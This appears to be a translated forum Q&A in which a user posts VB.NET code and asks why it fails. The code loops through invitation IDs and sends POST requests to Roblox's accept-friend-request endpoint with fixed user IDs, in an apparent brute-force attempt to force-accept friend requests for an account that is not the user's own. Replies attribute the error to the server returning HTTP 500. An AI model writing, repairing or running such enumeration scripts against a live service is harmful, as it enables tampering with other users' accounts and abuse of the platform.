Vb.net VB后暴力

我总是会出错，这是我的代码。它试图强制执行确认ID

Imports System
Imports System.Text

Public Class Form1
    Private Sub Button1_Click(sender As Object, e As EventArgs) Handles Button1.Click
        For i = 1 To NumericUpDown2.Value
            Using sendto As New Net.WebClient
                Dim param As New Specialized.NameValueCollection
                param.Add("displayedUserID", "72961169")
                param.Add("invitationID", NumericUpDown1.Value + i)
                param.Add("view", "FriendRequests")
                param.Add("targetUserID", "1")
                param.Add("pageNum", "1")
                Dim response_bytes = sendto.UploadValues("http://www.roblox.com/friends/acceptfriendrequest", "POST", param)
                Dim response_body = (New Text.UTF8Encoding).GetString(response_bytes)
                Label1.Text = i
            End Using
        Next
    End Sub
End Class

---

您试图发布到的网站出现HTTP 500错误。问题不在于您的代码，而在于外部网站。

您可以指定您得到的错误吗？System.dll中发生了类型为“System.Net.WebException”的未处理异常。其他信息：远程服务器返回错误：500内部服务器错误。